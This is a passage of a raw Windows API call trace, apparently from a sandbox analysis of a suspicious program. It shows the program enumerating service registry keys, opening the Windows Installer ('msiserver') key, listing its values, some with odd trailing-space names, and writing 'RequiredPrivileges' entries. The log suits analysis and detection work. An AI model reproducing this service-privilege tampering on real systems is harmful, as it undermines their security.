0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0250.997] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0250.998] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0250.999] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0251.000] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0251.001] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0251.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0251.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0251.004] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0251.005] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0251.005] RegCloseKey (hKey=0xc4) returned 0x0 [0251.005] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.005] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.005] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.006] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.006] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.006] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.007] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.007] RegCloseKey (hKey=0x148) returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.007] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.007] RegCloseKey (hKey=0xc4) returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.007] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.008] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.008] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.008] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.008] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.008] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.008] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.008] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.009] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.010] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.010] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.010] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.010] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.010] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.010] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, 